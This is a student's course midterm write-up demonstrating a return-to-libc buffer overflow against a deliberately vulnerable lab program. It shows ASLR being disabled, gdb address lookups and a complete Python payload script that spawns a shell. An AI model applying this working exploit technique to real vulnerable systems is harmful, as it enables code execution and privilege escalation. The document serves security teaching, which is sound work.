Ricardi Antoine
Midterm - CIS5379
03/06/2025

Midterm: Return-to-Libc Attack

I will demonstrate a return-to-libc attack, a technique used to bypass the Non-Executable (NX) bit protection. The NX bit prevents the execution of code on the stack, which traditionally makes buffer overflow exploits that inject shellcode ineffective. Return-to-libc circumvents this by hijacking the program's control flow to execute existing functions within a shared library, such as `libc`.

Step 1: Address Space Layout Randomization (ASLR) randomizes the memory addresses of key program segments, including shared libraries like `libc`. This makes it difficult to predict the exact addresses of functions needed for the return-to-libc attack. Disabling ASLR temporarily ensures that the `libc` load address and function addresses remain constant across multiple executions, simplifying the exploit development process.

```
antoine@cis5370-00:~/cis5370/midterm$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for antoine:
0
antoine@cis5370-00:~/cis5370/midterm$
```

Step 2: Compile `stack.c` using gcc -m32 -fno-stack-protector -z execstack -o stack stack.c. `-m32`: This flag compiles the code as a 32-bit executable. This is necessary if your `libc` library is 32-bit. `-fno-stack-protector`: This option disables the stack canary mechanism. Stack canaries are security checks that detect buffer overflows by placing a known value on the stack before the return address. If a buffer overflow occurs and overwrites the canary, the program detects the modification and terminates. Disabling stack protection is essential for this lab to allow the buffer overflow to occur. `-z execstack`: This flag allows the execution of code on the stack. While not strictly required for a return-to-libc attack (which reuses existing code), it's often used in conjunction with buffer overflows and is included here for completeness or potential variations of the exploit. `-o stack`: This specifies the name of the output executable file as `stack`.

Step 3: Running the `stack` program before creating the `badfile` results in a segmentation fault. This is expected because the program attempts to read from `badfile`, which doesn't exist yet. However, this step is crucial to ensure that the program behaves as expected and that the basic execution flow is correct. Once `badfile` is created with the exploit payload, the program's behavior will change as the return address is hijacked.

Ricardi Antoine
Midterm - CIS5379
03/06/2025

```
antoine@cis5370-00:~/cis5370/midterm$ ls
badfile  libc_exploit.py  stack  stack.c
antoine@cis5370-00:~/cis5370/midterm$ rm badfile
antoine@cis5370-00:~/cis5370/midterm$ ls
libc_exploit.py  stack  stack.c
antoine@cis5370-00:~/cis5370/midterm$
```

Step 4: Determine `system()` Address `p system`: This command prints the memory address of the `system` function. The output shows the address where the `system` function is located in memory. This address is crucial for the return-to-libc attack, as it will be the target of the hijacked return address. `p exit`: This command prints the memory address of the `exit` function. This address can be used as a return address for the `system` call to ensure a clean exit after the shell is spawned. `find 0xf7e00000, 0xf7ffffff, "/bin/sh"`: This command searches for the string "/bin/sh" within a specified memory range. I found the range using `info proc mappings`. If the string is found, `gdb` will print its address. This address is then used as an argument to the `system` function to execute a shell.

```
This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.fedoraproject.org/>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
Downloading separate debug info for /home/antoine/cis5370/midterm/stack
(No debugging symbols found in stack)
(gdb) b foo
Breakpoint 1 at 0x804919c
(gdb) r
Starting program: /home/antoine/cis5370/midterm/stack
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
__GI__IO_fread (buf=0xffffd06c, size=1, count=300, fp=0x0) at iofread.c:37
37          _IO_acquire_lock (fp);
(gdb) p system
$1 = {int (const char *)} 0xf7dea160 <__libc_system>
(gdb) p exit
$2 = {void (int)} 0xf7dd5080 <__GI_exit>
(gdb) info proc mappings
process 68626
Mapped address spaces:

Start Addr End Addr   Size       Offset     Perms File
0x08048000 0x0804a000 0x2000     0x0        r-xp  /home/antoine/cis5370/midterm/stack
0x0804a000 0x0804b000 0x1000     0x2000     r--p  /home/antoine/cis5370/midterm/stack
0x0804b000 0x0804c000 0x1000     0x2000     r--p  /home/antoine/cis5370/midterm/stack
0x0804c000 0x0804d000 0x1000     0x3000     rw-p  /home/antoine/cis5370/midterm/stack
0x0804d000 0x0806f000 0x22000    0x0        rw-p  [heap]
0xf7db8000 0xf7db9000 0x1000     0x0        r--p  /usr/lib/libc.so.6
0xf7db9000 0xf7f19000 0x160000   0x1000     r-xp  /usr/lib/libc.so.6
0xf7f19000 0xf7faf000 0x96000    0x161000   r--p  /usr/lib/libc.so.6
0xf7faf000 0xf7fb1000 0x2000     0x1f7000   r--p  /usr/lib/libc.so.6
0xf7fb1000 0xf7fb2000 0x1000     0x1f9000   rw-p  /usr/lib/libc.so.6
0xf7fb2000 0xf7fb7000 0x5000     0x0        rw-p
0xf7fbf000 0xf7fc1000 0x2000     0x0        rw-p
0xf7fc1000 0xf7fc5000 0x4000     0x0        r--p  [vvar]
0xf7fc5000 0xf7fc7000 0x2000     0x0        r-xp  [vdso]
0xf7fc7000 0xf7fc8000 0x1000     0x0        r--p  /usr/lib/ld-linux.so.2
0xf7fc8000 0xf7fec000 0x24000    0x1000     r-xp  /usr/lib/ld-linux.so.2
0xf7fec000 0xf7ffb000 0xf000     0x25000    r--p  /usr/lib/ld-linux.so.2
0xf7ffb000 0xf7ffd000 0x2000     0x33000    r--p  /usr/lib/ld-linux.so.2
0xf7ffd000 0xf7ffe000 0x1000     0x35000    rw-p  /usr/lib/ld-linux.so.2
0xfffdd000 0xffffe000 0x21000    0x0        rwxp  [stack]
(gdb) find 0xf7f19000, 0xf7faf000, "/bin/sh"
0xf7f564fc
1 pattern found.
```

Step 5: Generate `badfile`

- The `libc_exploit.py` script crafts the exploit payload that will be written to `badfile`. This payload consists of carefully constructed data that overwrites the return address on the stack with the address of the `system` function. It also includes the address of the "/bin/sh" string as an argument to `system`. The script uses the addresses obtained from `gdb` to create the correct payload.

```
antoine@cis5370-00:~/cis5370/midterm$ ls
libc_exploit.py  stack  stack.c
antoine@cis5370-00:~/cis5370/midterm$ cat libc_exploit.py
#!/usr/bin/python3

import struct

sh_addr = 0xf7f564fc
exit_addr = 0xf7dd5080
system_addr = 0xf7dea160

padding_length = 112

payload = b'A' * padding_length
payload += struct.pack('<I', system_addr)
payload += struct.pack('<I', exit_addr)
payload += struct.pack('<I', sh_addr)

with open('badfile', 'wb') as f:
        f.write(payload)

print("badfile created successfully!")
antoine@cis5370-00:~/cis5370/midterm$
```

Step 6: Execute `stack`

- Running the `stack` program with the crafted `badfile` as input triggers the buffer overflow. The overflow overwrites the return address, causing the program to jump to the `system` function instead of returning to its normal execution flow. The `system` function then executes "/bin/sh", which spawns a shell with the privileges of the `stack` executable.

```
antoine@cis5370-00:~/cis5370/midterm$ python3 libc_exploit.py
badfile created successfully!
antoine@cis5370-00:~/cis5370/midterm$ ls
badfile  libc_exploit.py  stack  stack.c
antoine@cis5370-00:~/cis5370/midterm$ ./stack
sh-5.2$ id
uid=1001(antoine) gid=1001(antoine) groups=1001(antoine),10(wheel) context=unconfined_u:unconfined_r:unconfin
sh-5.2$ _
```